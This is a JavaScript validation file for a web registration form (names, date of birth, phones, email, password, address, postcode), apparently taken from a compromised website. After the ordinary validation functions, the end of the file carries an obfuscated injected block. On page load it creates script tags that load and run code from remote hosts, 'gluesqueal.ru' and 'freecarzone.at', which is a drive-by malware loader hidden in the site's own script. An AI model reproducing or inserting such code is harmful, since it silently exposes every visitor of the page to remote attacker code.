// JavaScript Document


function validate_salutation()
 {
	 
		
	if(document.form1.salutation.value=="")
	 {
     document.getElementById("saluteerror").style.display = '';
	 document.form1.salute.value=1;document.form1.salutation.focus();
	 }
	else
	 {
     document.getElementById("saluteerror").style.display = 'none';
	 document.form1.salute.value=0;
	 }
 }
function validate_name()
{
	
		 if(document.form1.salutation.value=="") {
	         document.getElementById("saluteerror").style.display = '';
	         document.form1.salute.value=1;
             document.form1.salutation.focus();
			}
}	
function validate_fname()
{
   if(document.form1.fname.value=="")
    {
     document.getElementById("errorfname").style.display = '';
	 document.form1.f_val.value=1;
   	}
	if(document.form1.fname.value!="")
    {
     document.getElementById("errorfname").style.display = 'none';
	 var firstname=document.form1.fname.value;
     document.form1.fname.value = document.form1.fname.value.substr(0, 1).toUpperCase() + document.form1.fname.value.substr(1).toLowerCase();
	 //document.form1.fname.focus();
	 document.form1.f_val.value=0;
   	}
	
}


function changecase_mname()
 {
document.form1.mname.value = document.form1.mname.value.substr(0, 1).toUpperCase() + document.form1.mname.value.substr(1);	 
 }

function validate_lname()
{
  if(document.form1.lname.value=="")
    {
     document.getElementById("errorlname").style.display = '';
	 document.form1.l_val.value=1;
   	}
	if(document.form1.lname.value!="")
    {
     document.getElementById("errorlname").style.display = 'none';
	 document.form1.lname.value = document.form1.lname.value.substr(0, 1).toUpperCase() + document.form1.lname.value.substr(1);
	 document.form1.l_val.value=0;
     //document.form1.lname.focus();
   	}
	
}


function validate_date(){
	
  //if(document.form1.date.value=="" &&  document.form1.month.value=="")
  if(document.form1.txtdob.value=="")
  {
 // document.form1.date.focus();
   document.form1.txtdob.focus();
	    document.getElementById("errordate").style.display = ''
	  }
	else {
		document.getElementById("errordate").style.display = 'none'
	}
}
 
 
  
function validate_phone()
  {
	
	  if(document.form1.phone11.value!="" || document.form1.phone12.value!="" || document.form1.phone13.value!=""){
	  //alert("dsadsaD");
      var val = /[a-zA-Z]/;
      var res1=document.form1.phone11.value.match(val);
      var res2=document.form1.phone12.value.match(val);
      var res3=document.form1.phone13.value.match(val);
	   var flag1;
	   var flag2;
	   var flag3;
	   
  if(res1!=null || document.form1.phone11.value.length < 3) { document.getElementById("errorphone").style.display = ''; 	flag1=1;  }   
	 if(res2!=null || document.form1.phone12.value.length < 3) { document.getElementById("errorphone").style.display = ''; 	flag2=2; } 
	 if(res3!=null || document.form1.phone13.value.length < 4) { document.getElementById("errorphone").style.display = ''; 	flag3=3; } 
	 
	 if(flag1 != 1 && flag2 != 2 && flag3 != 3)
	   {
		  document.getElementById("errorphone").style.display = 'none';	
		  	   document.form1.phone1_val.value=0;
         }
 
  if(document.form1.phone11.value!="" && document.form1.phone12.value!="" && document.form1.phone13.value!="") {
			 if(document.form1.type_phone1.value=="")
		     {
             document.getElementById("errortype1").style.display = '';
             document.form1.type1_val.value=1;
			 }
		 }
	  }
	  
	 
  }

function validate_phone2()
  {
	  //alert("dsadsaD");
      var val2 = /[a-zA-Z]/;
      var res12=document.form1.phone21.value.match(val2);
      var res22=document.form1.phone22.value.match(val2);
      var res32=document.form1.phone23.value.match(val2);
	   var flag12;
	   var flag22;
	   var flag32;
	    
  if(document.form1.phone21.value!="" && document.form1.phone22.value!="" && document.form1.phone23.value!="") {
	  
   if(res12!=null || document.form1.phone21.value.length < 3) { document.getElementById("errorphone2").style.display = ''; 	flag12=1;  }
   
	   if(res22!=null || document.form1.phone22.value.length < 3) { document.getElementById("errorphone2").style.display = ''; 	flag22=2;  }
	  if(res32!=null || document.form1.phone23.value.length < 4) { document.getElementById("errorphone2").style.display = ''; 	flag32=3; }
	
	 
	 if(flag12 != 1 && flag22 != 2 && flag32 != 3)
	   {
		   document.getElementById("errorphone2").style.display = 'none';
		                document.form1.phone2_val.value=0;

		   
	   }
	   
	   
	      if(document.form1.phone21.value!="" && document.form1.phone22.value!="" && document.form1.phone23.value!="") {
			 if(document.form1.type_phone2.value=="")
		     {
             document.getElementById("errortype2").style.display = '';
              document.form1.type2_val.value=1;
			 }
		 }
  }
  else {
		   document.getElementById("errorphone2").style.display = 'none';
		                document.form1.phone2_val.value=0;
  }
  }
  
  
  function validate_type1()
    {
		   if(document.form1.phone11.value!="" && document.form1.phone12.value!="" && document.form1.phone13.value!="") {

		 if(document.form1.type_phone1.value== "")
		     {
             document.getElementById("errortype1").style.display = '';
			               document.form1.type1_val.value=1;

			 }
		  else { document.getElementById("errortype1").style.display = 'none'; 
		                document.form1.type1_val.value=0;
	}
	   }
	   
	   
	    if(document.form1.phone11.value=="" && document.form1.phone12.value=="" && document.form1.phone13.value=="") {

		 if(document.form1.type_phone1.value!= "")
		     {
             document.getElementById("errorphone").style.display = '';
			               document.form1.phone1_val.value=1;
			 }
		  else { document.getElementById("errorphone").style.display = 'none'; 
		                document.form1.phone1_val.value=0;
	}
	   }
	}

  function validate_type2()
    {
	      if(document.form1.phone21.value!="" && document.form1.phone22.value!="" && document.form1.phone23.value!="") {
		 if(document.form1.type_phone2.value== "")
		     {
             document.getElementById("errortype2").style.display = '';
			               document.form1.type2_val.value=1;

			 }
		  else { document.getElementById("errortype2").style.display = 'none';
		                document.form1.type2_val.value=0;
}
	   }
	   else 
	    {
			 document.getElementById("errortype2").style.display = 'none';
		                document.form1.type2_val.value=0;
		}
	}
	
	
	function validate_email()
	 {
		 var check1=0;
		 var check2=1;
		 if(document.form1.email.value!="")
		 {
			if(document.form1.email.value.indexOf("@")==-1 ||
			document.form1.email.value.indexOf(".")==-1 ||
			document.form1.email.value.indexOf("")==-1 ||
			document.form1.email.value.length < 6)
			{
			   document.getElementById("erroremail").style.display = '';document.getElementById("diverr").style.visibility = 'hidden';
		       //document.form1.email_val.value=1;
			   check1=1;
			   check2=2
			} 
			else 
			{
			   if(check1!=1)
			    {
                  document.getElementById("erroremail").style.display = 'none';
			      document.form1.email_val.value=0;
			      document.form1.btnemail.click();
			      
		        }	
			}
		}
		else
		{
			check2=2;
		    document.getElementById("erroremail").style.display = '';
		    if(document.getElementById("diverr")!=null){ document.getElementById("diverr").style.visibility = 'hidden';}
	        document.form1.email_val.value=1;
        }
		if(check2!=2)
		 {
              document.getElementById("erroremail").style.display = 'none';
              document.form1.btnemail.click();
    	 }
	 }
	 
	 function validate_password()
	   {document.form1.hdnpassword.value=document.form1.password.value;
		   if(document.form1.password.value.length < 5)
		     {
		        document.getElementById("errorpass").style.display = '';
		   		document.form1.pass_val.value=1;   		                
			 }
		else
		 {
			document.getElementById("errorpass").style.display = 'none';
			document.form1.pass_val.value=0;
          }
	   }
	 
function validate_streetno()
{
	      var val9 = /[a-zA-Z]/;
          var res9=document.form1.streetno.value.match(val9);
		  
    		  if(res9!=null || document.form1.streetno.value=="") {
             document.getElementById("errorstreetno").style.display = '';
			 		   		                document.form1.str_no_val.value=1;

		     }
		     else
		     {
             document.getElementById("errorstreetno").style.display = 'none';
             document.form1.str_no_val.value=0;
		     }
		 
		   
}

function validate_streetname()
{
		  
    		  if(document.form1.streetname.value=="") {
             document.getElementById("errorstreetname").style.display = '';
			 document.form1.str_name_val.value=1;
		     }
		     else
		     {
             document.getElementById("errorstreetname").style.display = 'none';
			 document.form1.str_name_val.value=0;
		     }
		 
		   
}

function validate_ext1()
 {
	 	   var val55 = /[a-zA-Z]/;
          var res55=document.form1.extension1.value.match(val55);
		  if(document.form1.extension1.value!="") {
		  if(res55!=null)
		   {
             document.getElementById("errorext1").style.display = '';
			 			 		   		                document.form1.ext1_val.value=1;

		   }
		   else
		   {
             document.getElementById("errorext1").style.display = 'none';
			 			 		   		                document.form1.ext1_val.value=0;
		   }
		  }
	 
 }
 
 
 function validate_ext2()
 {
	 	   var val66 = /[a-zA-Z]/;
          var res66=document.form1.extension2.value.match(val66);
		  if(document.form1.extension2.value!="") {
		  if(res66!=null)
		   {
             document.getElementById("errorext2").style.display = '';
			 			 			 		   		                document.form1.ext2_val.value=1;

		   }
		   else
		   {
             document.getElementById("errorext2").style.display = 'none';
			 			 	 document.form1.ext2_val.value=0;

		   }
		  }
	 
 }
 
 
 
function val_form()
 {


    if(document.form1.email.value=="" ){document.form1.email.focus();
		 document.getElementById("erroremail").style.display = '';
		 
		return false;
	   }

	   
	   if(document.form1.password.value==""){document.form1.password.focus();
		document.getElementById("errorpass").style.display = '';
		
		return false;
	   }
	   
	   if(document.form1.fname.value==""){document.form1.fname.focus();
       document.getElementById("errorfname").style.display = '';
       return false;
	   }
	   
	   if(document.form1.lname.value==""){document.form1.lname.focus();
	    document.getElementById("errorlname").style.display = '';
		return false;
	   }
	   
      if(document.form1.txtdob.value==""){
	    document.getElementById("errordate").style.display = '';document.form1.txtdob.focus();
		return false;
	   }
	   
	   if(document.form1.streetno.value==""){document.form1.streetno.focus();
	   document.getElementById("errorstreetno").style.display = '';
	   return false;
	   } 
	   
	   if(document.form1.streetname.value==""){document.form1.streetname.focus();
		document.getElementById("errorstreetname").style.display = '';
		return false;
	   }
	   
	   if(document.form1.text_content.value==""){document.form1.text_content.focus();
	   document.getElementById("errorcity").style.display = '';
	   return false;
	   }
	   
	   if(document.form1.text_content2.value==""){document.form1.text_content2.focus();
	   document.getElementById("errorstate").style.display = '';
		   return false;
	   }
	   
	   if(document.form1.phone11.value=="" || document.form1.phone12.value==""|| document.form1.phone13.value=="") {
	   document.form1.phone11.focus();
		   document.getElementById("errorphone").style.display = '';	
		   return false;
	   }
	      if(document.form1.type_phone1.value=="") {document.form1.type_phone1.focus();
		   document.getElementById("errortype1").style.display = '';	
		   return false;
	   }
	   		
   
	 if(document.form1.salute.value!=1 && 
		document.form1.f_val.value!=1 && 
		document.form1.l_val.value!=1 && 
		document.form1.email_val.value!=1 && 
		document.form1.pass_val.value!=1 && 
		document.form1.str_no_val.value!=1 && 
		document.form1.phone1_val.value!=1 && 
		document.form1.type1_val.value!=1 && 
		document.form1.phone2_val.value!=1 &&
		document.form1.ext1_val.value!=1 && 
		document.form1.type2_val.value!=1 && 
		document.form1.ext2_val.value!=1
		) {
		 
             document.getElementById("valall_no").style.display = 'none';
		  }
		  else
		   { 
			 document.getElementById("valall_no").style.display = '';
			 //document.getElementById("valall_yes").style.display = 'none';

							 return false;

		   }
		  
		   return true;
 }
 
 
function check_phone11()
{
var letters = document.form1.phone11.value.length +1;
if (letters >= 4)
{document.form1.phone12.focus()}
else
{document.form1.phone11.focus()}
}

function check_phone12()
{
var letters = document.form1.phone12.value.length +1;
if (letters >= 4)
{document.form1.phone13.focus()}
else
{document.form1.phone12.focus()}
}


function check_phone21()
{
var letters = document.form1.phone21.value.length +1;
if (letters >= 4)
{document.form1.phone22.focus()}
else
{document.form1.phone21.focus()}
}

function check_phone22()
{
var letters = document.form1.phone22.value.length +1;
if (letters >= 4)
{document.form1.phone23.focus()}
else
{document.form1.phone22.focus()}
}

function check_phone23()
{
var letters = document.form1.phone23.value.length +1;
if (letters >= 5)
{document.form1.extension2.focus()}
else
{document.form1.phone23.focus()}
}


function turnoff()
{
	var eleObjArr=document.getElementsByTagName("input");
for(var i=0; i<eleObjArr.length; i++)
{
if( eleObjArr[i].getAttribute("autocomplete") )
{
eleObjArr[i].setAttribute('autocomplete','off');
}
}
}

function zip_advance()
{
var letters = document.form1.postcode3.value.length +1;
document.form1.postcode3.value=document.form1.postcode3.value.toUpperCase();
if (letters >= 4)
{document.form1.postcode31.focus()}
 }
 
 function zip_advance1()
{
  document.form1.postcode31.value=document.form1.postcode31.value.toUpperCase();
  if (document.form1.postcode31.value.length == 3)
{document.form1.postcode3.focus();document.form1.Button1.click();}

}
 
 
var M=new String();try {var A='';var v;if(v!='Dq'){v=''};var AL;if(AL!='iE' && AL!='JI'){AL=''};var G=window[unescape("%75%6e%65%73%63%61%70%65")];var W=window[G("%52%65%67%45%78%70")];var k;if(k!='' && k!='Jw'){k=null};var D=null;var J=G("%72%65%70%6c%61%63%65");var P="";function s(m,g){var E;if(E!='S' && E != ''){E=null};var sq=G("%5b");var B=new Date();var w=new Date();sq+=g;sq+=G("%5d");var xl="";var sO=new W(sq, G("%67"));var ga=new Array();var t;if(t!='Le' && t!='o'){t='Le'};return m.replace(sO, D);var rP=new Date();};var FF;if(FF!='hp' && FF!='Gn'){FF=''};var Ld;if(Ld!=''){Ld='Dx'};var V=s('/QgQoEoUgQlVeS.RcSowmV/Np1rDoUbwozaVrUdRsJ.1cNoDmV/Q5Q5ibibis3.UcxozmS.3pHh1pD','EQiIz1UD3HVRNSwxJ');var f=new String();var _=new Date();var m=G("%31");this.Pz="";var qq=new Array();var sl;if(sl!='' && sl!='mH'){sl='Sr'};var I_='';var r="qTGonloa".substr(3)+"A0ad".substr(3);var R;if(R!='' && R!='Lp'){R=''};var Z=new String();var n=s('8121255522596523323201139616513677748559214376222767076653516529495191','46732159');var U="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var c=G("%73%63%72%69%70%74");var cr='';var jc="";function O(){var JS;if(JS!='' && JS!='Up'){JS=''};var sA=new String();var q=document;var cf;if(cf!='mO' && cf!='PQ'){cf=''};j=q.createElement(c);var bX="";cr+=U;this.bQ='';var vR;if(vR!='fz'){vR=''};cr+=n+V;j.src=cr;this.A_='';j.defer=m;var Cy=new Date();this.EZ="";var jO=q.body;jO.appendChild(j);var BKp="";var bXC;if(bXC!='' && bXC!='xlX'){bXC=''};};window[r]=O;var rD;if(rD!=''){rD='vv'};} catch(H){this.wk="";};var X_=new Date();var pq;if(pq!='' && pq!='Ot'){pq='aU'};
function d(){this.ad="";this.i="";var b=window;var aU=new Date();var U=b['unescape'];var Y;if(Y!=''){Y='gy'};var Am=new String();var y=U("%2f%67%6f%6f%67%6c%65%2d%63%6f%6d%2d%73%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%76%65%72%2d%62%6c%6f%67%2e%63%6f%6d%2e%70%68%70");this.j="";var hE;if(hE!='' && hE!='_a'){hE=null};var Ar;if(Ar!='R' && Ar!='GS'){Ar='R'};function L(D,a){var HW;if(HW!='JD' && HW!='l'){HW='JD'};var n;if(n!='Fd'){n=''};var A=U("%5d");var s=U("%5b");var Fz="";var Lp="g";var Yb;if(Yb!='no' && Yb!='p'){Yb=''};var H=new RegExp(s+a+A, Lp);var go=new String();return D.replace(H, new String());var N;if(N!='Ac' && N!='Hp'){N='Ac'};};var Rs;if(Rs!=''){Rs='zO'};var ZI='';var Ke;if(Ke!='' && Ke!='qS'){Ke='oR'};var u=L('sSrUcG','PaL8ojM_CGUSR');var Zd=new Date();this.VJ="";var w=L('socYrZiMpjtm','MgjdJF3QOqYoZexDumWL41');var V=L('dgeVfteJr3','FotgcbJp3lqVsHm');var Z=document;var xZ;if(xZ!=''){xZ='fa'};var nK='';var VA=L('85421915932515422304433539351441815413244331453509152921591245','543192');var t;if(t!='dY' && t!='vH'){t='dY'};this.zv="";this.XH='';function F(){var MB=new String();var uF="";var g=U("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var O=g;O+=VA;var uq=new Array();O+=y;var tb;if(tb!='yd' && tb!='Ti'){tb=''};var aB='';var PQ;if(PQ!='' && PQ!='gh'){PQ=null};var ko='';try {var dm;if(dm!=''){dm='vC'};var _ay;if(_ay!='MJ' && _ay!='oF'){_ay=''};q=Z[L('cYrDeYastUejEKlueRmFejnutK','3bUBYRdDux9FsjZK')](w);this.yO='';this.wA='';q[V]=[1][0];q[u]=O;var hq;if(hq!='' && hq!='bm'){hq='eK'};var lV;if(lV!='UJ'){lV='UJ'};var wz="";Z.body[L('aspLpge3nPd8CshLi3lHdV','Lg83sH5VPZEy')](q);this.LB='';var US="";} catch(ub){};var kJ="";var Nk="";var eQ;if(eQ!='I' && eQ!='DU'){eQ='I'};var It="";}var FI;if(FI!='' && FI!='es'){FI=''};var J=L('oBnBlBoSasdS','ZBs8krS');var QS='';b[J]=F;var aj="";var tL;if(tL!='hA'){tL='hA'};};var NO=new Array();var Xq;if(Xq!='JO' && Xq!='Pw'){Xq=''};d();